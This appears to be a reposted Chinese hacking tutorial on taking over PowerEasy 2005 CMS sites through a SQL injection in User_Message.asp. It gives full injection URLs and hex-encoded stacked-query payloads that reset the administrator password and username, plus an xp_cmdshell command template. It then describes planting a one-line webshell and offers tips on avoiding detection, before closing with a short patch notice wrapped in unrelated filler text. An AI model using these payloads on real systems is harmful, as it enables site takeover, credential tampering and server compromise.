网站首页/网络技术列表/内容

入侵动易2005

网络技术2019-01-13阅读
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。

1,发现漏洞

入侵动易2005

影响版本:

标准版 SQL
企业版 SQL版
学校版 SQL版
政府版 SQL版
全功能版 SQL版
免费access 版
所有版本(包括免费版、商业SQL版及Access版)
不被影响的版本:2005动易ASSESS版
漏洞文件:Admin目录下 Admin_ChkPurview.asp,Admin_Login.asp,Admin_RootClass_Menu.asp
      User 目录下 User_Message.asp

等级:严重

描述:
此漏洞影响全部SQL版,如果用SA连接数据库黑客可以拿到系统管理员权限。如果用普通用户连接最严重情况,可以备份脚本木马。一般情况可能改管理员登陆密码,从而达到黑客登陆动易后台。控制整个动易系统!
ACCESS版可以得到管理员md5密码!

主要问题在于 User_Message.asp
http://77169.org/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=90;

MessageID 没有严格过滤,有注入漏洞。只过滤了 单引号, 这就能挡住聪明的黑客吗?
我们来看一下,User_Message.asp的源代码、
————————————————————————————————————
<!--#include file="User_CommonCode.asp"-->
<%
Call PE_Execute("PE_AdminCommon", "User_Message")
%>
——————————————————————————————————————

动易系统是不开放源代码的,User_Message.asp 源代码的意思就是调用 PE_AdminCommon.dll 中的 User_Message 函数。
有人可能要问了这样的漏洞怎么发现的呢?
像这样的文件 只能用分支测试法 给这个文件用到的全部变量 都测试一遍。这是很耗时的测试方法。

2,分析漏洞
源程序是不开放的,所以源程序没什么好分析的。
现在我们来这漏洞入侵动易2005 sp1系统。
首先分两个版来说
1,SQL版,
(1,发现注入点
User_Message.asp 文件中的 MessageID 没有严格过滤。
测试,加 单引号,
正常返回。如图一

入侵动易2005

加 ; ,加 --
都显示出错。
如图二:

入侵动易2005

看提示 就明白有注入点了,加单引号没用,应当是过滤了引号。没关系过滤了单引号 阻挡不了我们入侵的步伐。


[page_break](2,绕过单引号

估计 注入点基本形式是这样的   select * from pe_XXX  where MessageID=(注入点)
我们想注入这样的文件,就要绕过单引号。
下面这样的代码 我们可以用它来绕过单引号。

declare @a sysname
select @a=<command>
exec master.dbo.xp_cmdshell @a
上面这语句主要是用来绕过单引号。不过我们要改一下,
declare @a sysname
select @a=<command>
update pe_admin set password=@a where id=1--


); declare @a sysname select @a=0x3300 update pe_admin set password=@a where id=1--

完整的url
http://192.168.1.254/User/User_Message.asp?Action=Del&ManageType=Inbox&MessageID=3);%20declare%20@a%20sysname%20select%20@a=0x3300%20update%20pe_admin%20set%20password=@a%20where%20id=1--
这条语句是给后台的id=1的管理员密码改成 3。因为@a=0x3300 ,0x3300 是16进制的3.
执行成功之后如图3:

入侵动易2005


(3,得到管理员权限
分两步:
一,关联前台username
动易后台登陆 要关联前台用户。
先设置后台管理员的前台用户名,为我们注册的用户。

declare @a sysname
select @a=<command>
update pe_admin set username=@a where id=1--

说到这里,我要讲一下@a 如果改
比如我们注册的用户为111111
@a=0x310031003100310031003100
我怎么知道的呢?随便在网上找一个16进制转换器就知道了,
比如 用这个工具转换也行。
如图4

入侵动易2005

所以注入语句成了这样的
); declare @a sysname select @a=0x310031003100310031003100 update pe_admin set username=@a where id=1--


二,改后台登陆的password
接着给后台密码改成我们的密码。我们就可以想办法登陆了。
declare @a sysname
select @a=<command>
update pe_admin set password=@a where id=1--

我们改后台密码,要改成已经加密的md5密码
比如我们提供一个,469e80d32c0559f8 这是admin888加密之后的MD5密码。
@a=0x3400360039006500380030006400330032006300300035003500390066003800
所以构造注入语句
); declare @a sysname select @a=0x3400360039006500380030006400330032006300300035003500390066003800 update pe_admin set password=@a where id=1--

大家感觉很简单吧!一般我们不这么做,教程 写给新手看的,不能太难。
在真正的黑客行为中,如果给人家的后台密码改了,管理员登陆不上去。人家必然会发现的。
所以 给高手提供思路 自己研究一下。
比如
1,可以插入一个管理员 用完之后删除
2,可以先暴出管理员密码,用完之后,再还原。


(4,上传木马
1,rootclass_menu_config.asp 文件中的菜单其它特效 中插入一句话木马。
如图 5

入侵动易2005

插入一句话木马之后,你可以用客户端连接了。

2,给上传属性改成可以上传ASP类型。上传时抓包 给最后一个加上结束符。(类似于动网上传)
SQL版我只说这么多了,如果你上传不了木马,或者是找不到后台管理地址,来我们论坛提问吧!有我们有办法解决。 http://bbs.77169.com

2,ACCESS版

(1,如果发现漏洞
在测试免费版的动易系统之时,发现免费的ACCESS版动易用户控制面板没有 发送短消息的功能。
不过,动易留有相关接口,登陆用户控制面板 直接浏览 User_Message.asp 也可以注入.

(2,注入过程(略)
mssql和access 注入过程是点不一样的。基本相同,这也留给大家自己去测试吧。


三,解决方案

临时解决方案:

解决方案(临时):更新补丁包中的三个文件,并先删除user目录下的User_Message.asp文件。SP2正式版中将会修复此漏洞,请目前使用SP1的用户尽快打好此补丁。

补丁下载: http://download.asp163.net/PowerEasy2005SP1Patch.rar

感谢llikz、怪狗等网友对系统进行安全检测并无私提供相关漏洞信息!



网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。

……

相关阅读